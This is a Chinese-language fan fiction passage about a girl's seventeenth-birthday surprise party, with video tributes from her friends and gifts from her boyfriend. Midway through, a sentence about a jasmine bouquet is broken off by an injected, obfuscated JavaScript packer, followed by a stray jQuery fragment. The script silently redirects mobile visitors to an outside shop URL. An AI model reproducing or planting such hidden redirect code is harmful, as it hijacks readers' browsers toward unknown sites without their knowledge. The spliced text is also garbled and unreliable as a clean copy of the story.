十一月二十一日早晨，小町是被麦茶叫醒的。
它站在卧室门外，隔着门板反复喊“生日快乐”，起初还算字正腔圆，喊到第五遍便逐渐变成了“生日快——乐”。
小町拉开门时，它正准备再来一次。
“是谁教你的？”
麦茶歪着脑袋看她，拒绝供出同谋。
楼下的早餐已经摆好。
父亲坐在餐桌旁翻阅晨报，听见脚步声便将报纸折起，朝她说了一句生日快乐。母亲坐在另一侧，面前放着一只墨蓝色的首饰盒，盒面没有品牌标志，只在边角压着她工作室的银色签名。
“过来。”母亲朝小町招手，“看看实物和图纸有没有差太多。”
盒盖打开，里面是一条极细的白金项链。
吊坠没有做成常见的箭，而是取了弓舒展时的弧度，两道纤细的金属线在中央交错，托住一颗颜色很浅的蓝宝石。远看只是一枚清透利落的几何吊坠，熟悉弓的人才会发现其中藏着一张已经拉开的弓。
小町低头看了许久。
“你设计的？”
“最初那版太像运动纪念品，改了三次。”母亲起身绕到她身后，替她将项链扣好，“你平时也能戴，不需要等到比赛。”
吊坠落在锁骨下方，蓝宝石随着晨光晃出一点清亮的颜色。
小町站到玄关镜前看了一眼。那枚吊坠并不张扬，藏进校服领口时，只偶尔露出一小段银白色的弧光。
“很好看。”她说。
母亲满意地回到座位：“这句评价我收下了。设计费可以免掉。”
“原来还准备收费？”
“给你父亲的报价单已经开好了。”
手机在桌边亮着。零点以后收到的祝福已经积了许多条。
她放下手机，抬头问母亲：“麦茶到底练了多久？”
“昨晚七点开始。”
麦茶抖开翅膀，骄傲地喊：“早上好！”
母亲替它往食盒里添了一小块苹果。
“至少情绪很到位。”
到学校以后，小町才发现，藤崎对“生日”的理解远比一只鹦鹉声势浩大。
她刚走上通往教学楼的台阶，藏在门柱后面的藤崎便突然举着DV跳出来，镜头险些贴到她脸上。
“千岛同学，请发表十七岁第一天的感想。”
画面剧烈晃动，先拍到小町的下巴，又匆匆移回正脸。
“摄影师先往后站半步。”
“不要回避问题。”
“我暂时只想进教室。”
“很朴素。还有呢？”
小町扶住镜头，将它转向旁边。水野抱着礼物袋站在那里，显然已经在冷风中等了好一会儿，鼻尖都冻得有些红。佐仓则捧着一本包装整齐的书，平静地避开了藤崎扫过来的镜头。
“十七岁第一天，”小町对着画面外说，“希望朋友们学会在室内等待。”
藤崎没有生气，反而十分满意。
“很好，开场有了。”
“你准备拍到什么时候？”
“秘密。”
三个人说着话穿过门厅。藤崎仍将DV举在肩上，时而拍到经过的学生，时而拍到鞋柜上歪斜的姓名牌，最后连小町换鞋时掉在地上的一枚硬币也被她郑重收进画面，称为命运之星。
上午不断有人来送礼物。朋友们显然提前商量过，礼品从香水试用套装到限量文具、丝质发带和一整盒不同口味的马卡龙，几乎把她的储物柜塞满。向日来得最晚，递过来一个包装明显由店员完成的小盒子。
“我本来想买企鹅。”
“后来呢？”
“店里那只看起来太蠢了。”
小町接过礼物：“这就有点伤企鹅的心了。”
向日看了眼她身后的储物柜，忍不住问：“你今天怎么把这些带回去？”
“侑士君可以帮我。”
这句话说得十分顺口。正走过来的忍足脚步微顿，向日已经转过头，意味深长地拖长了声音。
“哦——”
“你还有事？”忍足问。
“没事。我就是第一次看见有人主动认领工作。”
“那你可以把自己的礼物拿回去。”
向日立刻松手，转身便走。
忍足站到小町面前。他今天似乎什么也没带，校服外套的口袋空着，手里只有刚从教员室领回来的讲义。
“生日快乐。”他说。
“凌晨已经说过了。”
“礼物呢？”
小町伸出手，理直气壮得仿佛只是向他索要一张该交的作业纸。
忍足的目光落在她掌心里，停了一会儿。
“放学以后。”
忍足将讲义卷起，轻轻敲了一下她仍未收回的手。
“弓道部结束以后等我。”
他说完便绕过她往教室走。小町望着他的背影，又看看自己空着的手，跟上去时故意踩了一下他的鞋跟。
忍足被迫停住，回头看她。
“这是十七岁的庆祝方式？”
“是没拿到礼物的报复。”
“再等几个小时。”
“好吧。”
她答应得很勉强，眼睛里却藏不住期待。
下午的弓道训练结束得比平时晚。
冬季日落很早，收完弓具时，窗外已经只剩下一层薄灰色的天光。小町换回制服，推开更衣室的门，发现松田正抱着她的书包守在外面。
“学姐，真帆学姐让我带你去学生会馆。”
“她自己呢？”
“说是设备出现了一点问题。”
“什么问题？”
松田的视线飘向墙角：“大概是播放键找不到了。”
小町看着她。
松田坚持了三秒，很快败下阵来。
“她不让我说。”
“那你至少告诉我，为什么我的书包在你手里。”
“怕你直接回家。”
松田把书包还给她，随后推着她往走廊另一端走。途中遇见野泽，对方明明已经换好鞋，却像忽然想起什么似的转身跟了过来。再往前，另外两名一年级也从自动贩卖机旁冒出来，手里各自抱着一袋零食。
人数越来越多，小町终于停下。
“你们准备把整个弓道部都带过去？”
“宫下学姐她们也来了。”松田脱口而出。
野泽伸手捂住她的嘴，可惜已经晚了。
小町看向学生会馆尽头那扇紧闭的门，里面隐约漏出说话声，还有人在反复提醒其他人安静。门缝下的光亮了一下，很快又暗下去。
她忽然有些想笑。
“播放键找到了？”
松田点头，又赶紧摇头。
“学姐进去就知道了。”
门打开以后，房间里一片黑暗。
小町刚迈进去，身后的门便迅速合上。投影幕随即亮起，藤崎那张距离镜头过近的脸占据了整面墙。
“现在是十一月十九日下午四点十二分。”录像里的藤崎压低声音，“距离千岛小町十七岁还有两天。我们正在制作一份会让当事人感动到流泪的生日影像。”
画面外传来水野的声音：“她可能不会哭。”
“那就让忍足哭。”
镜头晃向另一边，忍足坐在教室后排，闻言抬起头。
“为什么是我？”
“总要有人完成效果。”
“那就选岳人。他比较容易。”
向日在画面外抗议：“我哪里容易了！”
放映室里立刻响起一阵笑声。小町循着声音看过去，只能在黑暗中分辨出一排模糊的人影。除了藤崎、水野与佐仓，宫下、野泽和松田都来了，向日坐在最后面，似乎还在试图把自己藏进椅背里。
影像继续播放。
藤崎大概问了许多人同一个问题：你心里的千岛小町是什么样子？
水野面对镜头想了很久，最后说：“她记得我不吃青椒。”
藤崎等着下文。
“没有了？”
“然后每次吃饭，她都会把我的青椒夹走。”
“但是她会把好吃的水果留下来。”
画面里的水野说完以后，像觉得这句太肉麻，伸手去挡镜头。藤崎不肯关机，两个人争抢了一会儿，最后只拍到窗帘和半块黑板。
佐仓的部分规整得多。她坐在图书馆窗边，书仍摊在手里。
“千岛很守时，也很会记住别人随口说过的话。上个月我提过想找一本绝版诗集，她后来在旧书网站上看见，半夜两点把链接发给我。”
藤崎问：“你怎么知道是半夜两点？”
“消息上有时间。”
“那她为什么两点还没有睡？”
佐仓沉默了片刻。
“这一段可以剪掉。”
画面立刻切换到弓道场。
松田刚结束训练，头发乱得厉害，一边收拾箭筒一边说：“千岛学姐很凶。”
镜头后方响起藤崎不赞同的吸气声。
“真的。她看见我肩膀抬起来，会站在旁边一直看，看到我自己发现为止。可是天气冷的时候，她的包里总有多出来的暖贴。问她为什么买那么多，她每次都说便利店促销，我后来去看了，那家店根本没有促销。”
松田说到这里，忽然凑近镜头。
“这一段别给学姐看，她会把暖贴藏起来。”
放映室里的松田当即捂住脸。
“真帆学姐！”
小町伸手：“暖贴还我。”
“已经用完了！”
宫下出现在下一段录像里。
她显然刚从补习班回来，站在车站外，围巾遮住半张脸。藤崎问她同样的问题，她没有立即回答，身后的人流不断经过，镜头也被来往的学生撞得轻轻晃动。
“是很久没见，也可以立刻一起回家的人吧。”
“这样就结束了？”
“嗯。”
“再多说一点。”
宫下抬眼看向镜头：“你错过电车了。”
画面在藤崎的惊叫声中骤然切断。
向日的采访发生在男子网球部场边。
他一开始根本没有听清问题，拿着球拍反问：
“谁？”
“千岛小町。”
“哦。小町啊。”
向日用球拍撑着地面想了半天。
“她打游戏输了会要求再来一局。”
藤崎提醒：“今天是生日祝福。”
“所以我没说她赢了以后会炫耀。”
“你已经说了。”
“这一段不能剪吗？”
身后的凤忍不住提醒：“向日前辈，你可以说优点。”
“我正在想。”向日皱起眉，“她会带很好吃的东西，拍照也不会把我拍得很矮，而且来网球场的时候真的会看比赛，不会只顾着——”
镜头突然被一只手掌挡住。
忍足的声音从画面外传来。
“下一位。”
向日立刻转头：“我还没说完！”
画面在两个人的争执中陷入一片黑暗。
黑暗中的向日终于忍不住：“后面明明还有！”
“没有了。”藤崎说。
“你答应过全部保留！”
“成片需要节奏。”
“你就是故意的！”
两个人隔着几排座椅争起来。小町听见水野在旁边劝他们小声。
最后一个出现的是忍足。
他独自坐在男子网球部的休息区，训练已经结束，身后的球场空着。藤崎大概要求他重新录过几次，因为画面开始时，他先看了镜头外一眼。
“又要从头说？”
藤崎的声音传来：“这次不要念准备好的稿子。”
“我没有准备。”
“你刚才明明拿着纸。”
“那是蛋糕订单。”
画面轻微晃了一下，藤崎大概被他说得无话可答。
忍足重新看向镜头。
“藤崎让我回答，小町在我心里是什么样的人。这个问题有点麻烦，因为她在不同地方看起来完全不一样。站在弓道场的时候，和在文具店里挑东西的时候不像；生气、高兴以及明明想笑又准备忍住的时候，也都不像。”
他停顿片刻，手指轻轻拨了一下放在膝上的纸张。
“一定要选一个答案的话——她是我看到一本有意思的书、一家刚开的店，或者冬天第一场雪以后，会想先告诉的人。”
忍足说完，似乎觉得已经足够，准备起身。藤崎在镜头外提醒：“蛋糕。”
“差点忘了。”
他重新坐回去。
“蛋糕是洋梨与白巧克力的。蜡烛只有一根。花也准备好了，不过现在不能给你看。”
忍足望着镜头。
“小町，生日快乐。”
“现在可以回头了。”
投影在这一刻熄灭。
房间陷入真正的黑暗，紧接着，身后传来极轻的脚步声。
小町转过身。
忍足端着蛋糕站在门边。蜡烛的光在空气里微微晃动，将他的脸照得半明半暗，也照亮了身后那束
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842543|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
被人藏得并不成功的茉莉。藤崎不知何时已经重新打开DV，红色指示灯悬在黑暗里，镜头追着忍足一路走近。
有人唱起生日歌，第一句还算整齐，第二句便因为向日起高了调而彻底失控。松田跟着唱错拍子，水野忍不住笑场，宫下试图把节奏带回来，结果藤崎举着DV加入以后，连歌词都少唱了一遍。
小町站在一片混乱的歌声中央，望着那一点烛光朝自己靠近。
忍足走到她面前，低声说：“许愿吧。”
“你们唱成这样，愿望会听见吗？”
众人的笑声又一次散开。
小町在蛋糕前坐下。忍足坐在她旁边，长桌上方挤满礼物、饮料与拆开的零食，桌子下面却留着一小块无人注意的黑暗。
关灯以后，她一直垂在身侧的手被人轻轻碰了一下。
最初只是小指擦过指节，像在确认她有没有躲开。小町没有动，那只手便又靠近一点，从她的指缝之间慢慢穿过去，直到掌心完全贴合。
她转头看忍足。
小町闭上眼睛许愿。她面前的烛火轻轻摇晃，忍足只能看见她被火光照亮的一半侧脸。
他不知道她许了什么。
自己却在那几秒里安静地想：愿她岁岁平安，也愿他们今后少一点错过。若是终究要走向很远的地方，至少每一次分别以后，还能重新找到彼此。
她并没有许一个宏大的愿望。十七岁以后的世界仍然很远，毕业、升学、离开东京，以及宣传册上那座隔着海洋的城市，每一件事都需要等到真正走近时才能作答。
这一刻，她只希望明年还能听见这些人唱错同一首歌。
睁开眼时，忍足仍没有松手。
小町吹灭蜡烛。
黑暗短暂地合拢，随后顶灯亮起。所有人的脸一下子变得清晰，藤崎被突然亮起的灯晃得眯住眼，向日正趁乱从蛋糕边缘偷走一颗装饰用的巧克力，松田发现以后立即指认，宫下把分蛋糕的塑料刀从他们两个人中间抽走。
“先拍照！”藤崎重新举起DV，“蛋糕还完整的时候拍！”
“已经不完整了。”佐仓看向缺少巧克力的位置。
分完蛋糕以后，忍足从椅背后拿出一只奶白色纸袋，推到小町面前。
“礼物。”
“终于舍得拿出来了？”
“再晚一点，岳人可能会替你拆。”
向日正在桌子另一端研究剩下的蛋糕，闻言立刻回头：“我才不会！”
小町把纸袋拉到自己面前。薄纸被拨开后，先露出两只柔软的长耳朵。里面是一只奶油色的Jellycat小狗，绒毛蓬松，身体软软地陷在纸袋里，颈间系着深蓝色细缎带。
缎带下还挂着一枚小牛皮吊牌。边缘压着细细的深色线，正面只有她名字的罗马字母，翻到背面，则是烫印上去的日期。
十一月二十一日。
小町用指腹摸过那排微微凹陷的数字，随后将小狗抱了出来。它的四只爪子垂在她手臂两侧，耳朵随着动作轻轻晃了一下。
“真的那只现在养不了。”忍足靠在桌边，看着她把小狗的耳朵理顺，“这只比较省事，不用早晚散步，也不会咬你的围巾。”
小町抬起脸。
“所以晚上的散步取消了？”
忍足伸出手，拨正被她碰歪的深蓝色缎带。他的手指从柔软的绒毛间穿过，在那个写着她生日的吊牌旁停了一瞬。
“那份工作留给以后。”
忍足随后拿起藏在纸袋后面的花束。初冬很难找到新鲜茉莉，花并不多，细小洁白的花朵藏在半透明包装纸里，靠近时才闻得到清淡的香气。
小町打开。
上面只有一行中文。
赠君茉莉，愿君莫离。
下方另写了一句简短的日文解释，字迹比平时郑重许多。
小町抬起脸：“从哪里学的？”
“找花的时候看到的。”
“你原本准备送什么？”
“店员推荐玫瑰。”
“为什么换了？”
忍足将散落在桌边的丝带拢到一旁，隔了一会儿才回答：“玫瑰谁都看得懂。我想送一句只有你拆开以后才知道的话。”
小町重新看向卡片。
“那我收到了。”
藤崎恰好把镜头转过来：“千岛同学，十七岁的生日礼物感觉如何？”
小町抱着花，另一只手仍被忍足握在桌下。她没有寻找更漂亮的措辞，只对着镜头说：“很幸福。”
房间安静了短短一瞬。
藤崎明显没有料到她会这样直接，DV随之往下偏了一点。就在她重新抬起镜头时，小町已经侧过身，伸手抱住忍足。
桌椅碰出一阵杂乱的轻响，松田第一个叫出声，水野笑着往后躲开，向日用手挡住眼睛，却从指缝里看得十分认真。宫下刚切下第一块蛋糕，只得举着塑料刀站在旁边，提醒他们至少别撞翻盘子。
忍足的手臂从最初的停顿里醒过来，稳稳落在小町背后。他低下头，在她耳边说了一句话。
DV离得太远，没有录进去。
藤崎后来问过许多次，小町始终没有告诉她。
录像继续拍着。
镜头从相拥的两个人移到桌上摇晃的烛台，又匆匆追向正在抢第一块蛋糕的向日与松田；宫下拿着塑料刀维持秩序，水野拆开纸盘，佐仓低头替那束茉莉添了一点水。窗外已经完全入夜，玻璃映出拥挤的人影，室内的灯光将每个人都照得暖融融的，连堆在椅背上的冬季外套也带着庆典过后的松散与热闹。
最后，藤崎把DV放在窗台上。
镜头没有摆正，画面略微倾斜，恰好能够容下整张长桌。空掉的礼物包装纸从桌边垂下来，被走动时带起的风吹得轻轻摇晃。
小町坐在忍足身边，肩膀与他挨在一起。她怀里抱着那只系深蓝色缎带的小狗玩偶，茉莉放在手边，白色花瓣落进镜头一角。
忍足替她擦掉指尖沾到的奶油，说了句什么。小町没有听清，便靠近了一点。他只好低下头，重新说给她听。
窗外的校园沉进初冬的夜色，远处教学楼一层层熄了灯。学生会馆的这扇窗仍然亮着，里面的人谁也没有急着离开，生日歌唱完许久，笑声还在断断续续地穿过走廊。
DV安静地录到电池耗尽。
画面停下以前，忍足正把最后一颗白巧克力放进小町的盘子里，小町转头看他，两个人仍旧靠得很近。桌子另一端，藤崎突然想起摄像机还开着，匆匆跑过来，伸向镜头的手挡住了大半片灯光。
录像结束在她的一声惊呼里。